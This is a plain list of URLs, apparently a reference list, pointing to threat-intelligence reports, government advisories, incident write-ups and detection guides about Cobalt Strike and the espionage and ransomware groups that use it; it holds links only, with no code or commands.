https://blog.morphisec.com/proxyshell-exchange-exploitation-now-leads-to-an-increasing-amount-of-cobaltstrike-backdoors

https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure

https://www.qurium.org/alerts/targeted-malware-against-crph/

https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/

https://www.ironnet.com/blog/ransomware-graphic-blog

https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/

https://www.guidepointsecurity.com/blog/a-ransomware-near-miss-proxyshell-a-rat-and-cobalt-strike/

https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass

https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/

https://www.cyberark.com/resources/threat-research/analyzing-malware-with-hooks-stomps-and-return-addresses-2

https://www.youtube.com/watch?v=XfUTpwZKCDU

https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf

https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf

https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services

https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility

https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

https://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1/

https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/

https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware

https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan

http://www.secureworks.com/research/threat-profiles/gold-kingswood

https://www.trendmicro.com/en_us/research/23/b/earth-zhulong-familiar-patterns-target-southeast-asian-firms.html

https://www.youtube.com/watch?v=YCwyc6SctYs

https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html

https://us-cert.cisa.gov/ncas/analysis-reports/ar21-148a

https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/

https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html

https://thedfirreport.com/2024/08/26/blacksuit-ransomware/

https://thehackernews.com/2025/09/chinese-hackers-rednovember-target.html

https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65

https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

https://www.cisa.gov/uscert/ncas/alerts/aa22-249a

https://www.trendmicro.com/en_us/research/24/k/lodeinfo-campaign-of-earth-kasha.html

https://thedfirreport.com/2022/04/25/quantum-ransomware/

https://web.br.de/interaktiv/ocean-lotus/en/

https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671

https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/

https://blog.group-ib.com/REvil_RaaS

https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks

https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

https://github.com/blackorbird/APT_REPORT/blob/master/Oceanlotus/apt32_report_2019.pdf

https://blog.group-ib.com/apt41-world-tour-2021

https://news.sophos.com/en-us/2020/10/27/mtr-casebook-an-active-adversary-caught-in-the-act/

https://twitter.com/RedDrip7/status/1402640362972147717?s=20

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021

https://www.trendmicro.com/en_us/research/25/h/taoth-campaign.html

https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf

https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam

https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/

https://binary.ninja/2022/07/22/reverse-engineering-cobalt-strike.html

https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/

https://www.youtube.com/watch?v=YDtLmhw_nTo

https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://blogs.blackberry.com/en/2021/11/zebra2104

https://www.seqrite.com/blog/operation-cobalt-whisper-targets-industries-hong-kong-pakistan/

https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing

https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf

https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos

https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/

https://www.mandiant.com/resources/apt41-us-state-governments

https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/

https://twitter.com/elisalem9/status/1398566939656601606

https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia

https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/

https://go.recordedfuture.com/hubfs/reports/cta-cn-2024-1112.pdf

https://asec.ahnlab.com/ko/19860/

https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a

https://lab52.io/blog/beyond-appearances-unknown-actor-using-apt29s-ttp-against-chinese-users/

https://www.trendmicro.com/de_de/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html

https://medium.com/walmartglobaltech/cobaltstrike-uuid-stager-ca7e82f7bb64

https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/542/original/CTIR_casestudy_2.pdf

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/sneak-peek-ch1-2-finding-beacons-in-the-dark.pdf

https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/

https://cpj.org/2021/02/vietnam-based-hacking-oceanlotus-targets-journalists

https://www.accenture.com/us-en/blogs/security/ransomware-hades

https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware

https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/

https://blog.nviso.eu/2021/11/03/cobalt-strike-using-process-memory-to-decrypt-traffic-part-3/

https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-2/

https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/

https://services.google.com/fh/files/blogs/gcat_threathorizons_full_jul2023.pdf

https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html

https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures

https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/

https://censys.com/a-beginners-guide-to-hunting-open-directories/

https://github.com/Still34/landing/blob/master/assets/slides/2024-08-Sailing%20the%20Seven%20SEAs.pdf

https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html

https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html

https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/

https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/

https://twitter.com/ffforward/status/1324281530026524672

https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md

https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf

https://medium.com/@joshuapenny88/hostinghunter-series-chang-way-technologies-co-limited-a9ba4fce0f65

https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf
https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/
https://www.youtube.com/watch?v=y65hmcLIWDY
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html
https://attack.mitre.org/groups/G0096
https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes
https://github.com/chronicle/GCTI
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575
https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html
https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html
https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf
https://stillu.cc/threat-spotlight/2021/11/13/domain-fronting-fastly/
https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/
https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf
https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html
https://cert.gov.ua/article/703548
https://www.securonix.com/blog/securonix-threat-research-security-advisory-frozenshadow-attack-campaign/
https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html
http://blog.nsfocus.net/murenshark
https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue

https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/

https://research.nccgroup.com/2022/03/25/mining-data-from-cobalt-strike-beacons/

https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/

https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/

https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html

https://rushter.com/blog/threat-hunting-cobalt-strike/

https://therecord.media/mongolian-certificate-authority-hacked-eight-times-compromised-with-malware/

https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/

https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-machine-learning-and-277c4c30304f

https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf

https://www.mandiant.com/resources/unc2452-merged-into-apt29

https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/

https://github.com/dodo-sec/Malware-Analysis/blob/main/Cobalt%20Strike/Indirect%20Syscalls.md

https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/

https://www.bitsight.com/blog/emotet-botnet-rises-again

https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon

https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://www.netresec.com/?page=Blog&month=2024-01&post=Hunting-for-Cobalt-Strike-in-PCAP

https://www.aon.com/cyber-solutions/aon_cyber_labs/cobalt-strike-configuration-extractor-and-parser/

https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728

https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://www.trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day—cve-2021-40444—hits-windows—tr.html

https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/

https://embee-research.ghost.io/malware-analysis-decoding-a-simple-hta-loader/

https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_2_7_hara_shoji_higashi_vickie-su_nick-dai_en.pdf

http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems

https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf

http://www.secureworks.com/research/threat-profiles/gold-drake

https://twitter.com/TheDFIRReport/status/1359669513520873473

https://www.secureworks.com/research/threat-profiles/gold-niagara

https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5

https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf

https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware

https://www.splunk.com/en_us/blog/security/cloud-federated-credential-abuse-cobalt-strike-threat-research-feb-2021.html

https://isc.sans.edu/diary/Bumblebee+Malware+from+TransferXL+URLs/28664

https://blog.checkpoint.com/research/chinese-espionage-campaign-expands-to-target-africa-and-the-caribbean/

https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf

https://thedfirreport.com/2025/09/29/from-a-single-click-how-lunar-spider-enabled-a-near-two-month-intrusion/

https://unit42.paloaltonetworks.com/cobalt-strike-memory-analysis/

https://cert.gov.ua/article/619229

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://unit42.paloaltonetworks.com/fireeye-red-team-tool-breach/

https://hitcon.org/2023/CMT/slide/Unmasking%20CamoFei_An%20In-depth%20Analysis%20of%20an%20Emerging%20APT%20Group%20Focused%20on%20Healthcare%20Sectors%20in%20East%20Asia.pdf

https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/

https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/

https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a

https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/

https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/

https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/

https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/

https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group

https://unit42.paloaltonetworks.com/cobalt-strike-team-server/

https://www.tgsoft.it/news/news_archivio.asp?id=1568

https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos

https://asec.ahnlab.com/en/34549/

https://blog.nviso.eu/2021/11/17/cobalt-strike-decrypting-obfuscated-traffic-part-4/

https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/

https://medium.com/@shabarkin/pointer-hunting-cobalt-strike-globally-a334ac50619a

https://www.secureworks.com/research/threat-profiles/bronze-riverside

https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/

https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/

https://cloud.google.com/blog/topics/threat-intelligence/apt24-pivot-to-multi-vector-attacks/

https://www.youtube.com/watch?v=FC9ARZIZglI

https://twitter.com/MsftSecIntel/status/1535417776290111489

https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html

https://nsfocusglobal.com/the-new-apt-group-darkcasino-and-the-global-surge-in-winrar-0-day-exploits/

https://www.mandiant.com/resources/spear-phish-ukrainian-entities

https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment

https://intel471.com/blog/shipping-companies-ransomware-credentials

https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes

https://connormcgarr.github.io/thread-hijacking/

https://research.checkpoint.com/2024/sharp-dragon-expands-towards-africa-and-the-caribbean/

https://www.trendmicro.com/en_us/research/25/c/the-espionage-toolkit-of-earth-alux.html

https://twitter.com/AltShiftPrtScn/status/1385103712918642688

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

https://twitter.com/swisscom_csirt/status/1354052879158571008

https://www.trendmicro.com/en_us/research/24/i/earth-baxia-spear-phishing-and-geoserver-exploit.html

https://www.seqrite.com/blog/operation-hollowquill-russian-rd-networks-malware-pdf/

https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf

https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv

https://www.youtube.com/watch?v=C733AyPzkoc

https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/

https://twitter.com/vikas891/status/1385306823662587905

https://www.blackhillsinfosec.com/dns-over-https-for-cobalt-strike/

https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/

https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf

https://securelist.com/apt-trends-report-q3-2020/99204/

https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/

https://blog.nviso.eu/2022/03/22/cobalt-strike-overview-part-7/

https://boschko.ca/cobalt-strike-process-injection/

https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html

https://www.varonis.com/blog/hive-ransomware-analysis

https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/

https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/

https://haggis-m.medium.com/malleable-c2-profiles-and-you-7c7ab43e7929

https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/

https://twitter.com/AltShiftPrtScn/status/1350755169965924352

https://www.zscaler.com/blogs/research/targeted-attack-leverages-india-china-border-dispute-lure-victims

https://www.sans.org/webcasts/contrarian-view-solarwinds-119515

https://blog.morphisec.com/log4j-exploit-targets-vulnerable-unifi-network-applications

https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/

https://grimminck.medium.com/spoofing-jarm-signatures-i-am-the-cobalt-strike-server-now-a27bd549fc6b

https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153

https://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811

https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html

https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/

https://msrc.microsoft.com/blog/2022/10/hunting-for-cobalt-strike-mining-and-plotting-for-fun-and-profit/

https://unit42.paloaltonetworks.com/atoms/obscureserpens/

https://content.fireeye.com/m-trends/rpt-m-trends-2020

https://blog.cobaltstrike.com/2020/12/08/a-red-teamer-plays-with-jarm/

https://www.esentire.com/security-advisories/ransomware-hackers-attack-a-top-safety-testing-org-using-tactics-and-techniques-borrowed-from-chinese-espionage-groups

https://www.mdsec.co.uk/2021/07/investigating-a-suspicious-service/

https://www.prevailion.com/what-wicked-webs-we-unweave/

https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html

https://hunt.io/blog/tricks-treats-threats-cobalt-strike-the-goblin-lurking-in-plain-sight

https://socfortress.medium.com/detecting-cobalt-strike-beacons-3f8c9fdcb654

https://blog.macnica.net/blog/2020/11/dtrack.html

https://blog.didierstevens.com/2021/11/03/new-tool-cs-extract-key-py/

https://blog.talosintelligence.com/2021/05/ctir-case-study.html

https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html

https://embee-research.ghost.io/combining-pivot-points-to-identify-malware-infrastructure-redline-smokeloader-and-cobalt-strike/

https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/

https://www.youtube.com/watch?v=WW0_TgWT2gs

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf

https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/

https://www.macnica.net/file/mpression_automobile.pdf

https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/

https://embee-research.ghost.io/ghidra-entropy-analysis-locating-decryption-functions/

https://skyblue.team/posts/scanning-virustotal-firehose/

https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/

https://twitter.com/TheDFIRReport/status/1356729371931860992

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf

https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/

https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903

https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom

https://twitter.com/Cryptolaemus1/status/1407135648528711680

https://paper.seebug.org/1301/

https://blogs.vmware.com/security/2020/09/detecting-threats-in-real-time-with-active-c2-information.html

https://www.kroll.com/en/insights/publications/cyber/hive-ransomware-technical-analysis-initial-access-discovery

https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/

https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/

https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/

https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure

https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/

https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g

https://thehackernews.com/2022/05/this-new-fileless-malware-hides.html

https://www.deepinstinct.com/2021/03/18/cobalt-strike-post-exploitation-attackers-toolkit/

https://twitter.com/cglyer/status/1480742363991580674

https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection

https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/

https://redcanary.com/blog/gootloader

https://twitter.com/felixw3000/status/1521816045769662468

https://asec.ahnlab.com/en/47455/

https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/

https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html

https://embee-research.ghost.io/ghidra-basics-shellcode-analysis/

https://www.inky.com/blog/colonial-pipeline-ransomware-hack-unleashes-flood-of-related-phishing-attempts

https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf

https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf

https://blog.cobaltstrike.com/2020/11/06/cobalt-strike-4-2-everything-but-the-kitchen-sink/

https://videos.didierstevens.com/2022/09/06/an-obfuscated-beacon-extra-xor-layer/

https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach

https://dansec.medium.com/detecting-malicious-c2-activity-spawnas-smb-lateral-movement-in-cobaltstrike-9d518e68b64

https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7

http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa

https://security.macnica.co.jp/blog/2022/05/iso.html

https://www.trendmicro.com/en_us/research/25/e/earth-lamia.html

https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads

https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go/

https://blog.fox-it.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/

https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/

https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf

https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/

https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/

https://embee-research.ghost.io/decoding-a-cobalt-strike-vba-loader-with-cyberchef/

https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/

https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/

https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618

https://medium.com/@b.magnezi/malware-analysis-cobalt-strike-92ef02b35ae0

https://blog.exatrack.com/melofee/

https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/

https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/

https://www.netresec.com/?page=Blog&month=2023-10&post=Forensic-Timeline-of-an-IcedID-Infection

https://www.securonix.com/blog/from-cobalt-strike-to-mimikatz-slowtempest/

http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware

https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20

https://www.embeeresearch.io/decoding-a-cobalt-strike-downloader-script-with-cyberchef/

https://www.youtube.com/watch?v=pIXl79IPkLI

https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41

https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/

https://www.secureworks.com/research/threat-profiles/tin-woodlawn

https://www.mandiant.com/resources/blog/phished-at-the-request-of-counsel

https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html

https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/

https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf

https://hunt.io/blog/cobaltstrike-powershell-loader-chinese-russian-infrastructure

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/

https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730

https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview

https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/

https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/

https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust

https://kienmanowar.wordpress.com/2022/06/04/quicknote-cobaltstrike-smb-beacon-analysis-2/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html

https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/

https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/

https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/

https://malwarebookreports.com/cryptone-cobalt-strike/

https://www.guidepointsecurity.com/yet-another-cobalt-strike-loader-guid-edition/

https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/

https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/

https://www.darktrace.com/en/blog/catching-apt-41-exploiting-a-zero-day-vulnerability/

https://blogs.jpcert.or.jp/en/2018/08/volatility-plugin-for-detecting-cobalt-strike-beacon.html

https://thedfirreport.com/2022/09/26/bumblebee-round-two/

https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/

https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting

https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise

https://asec.ahnlab.com/en/31811/

https://vanmieghem.io/blueprint-for-evading-edr-in-2022/

https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf

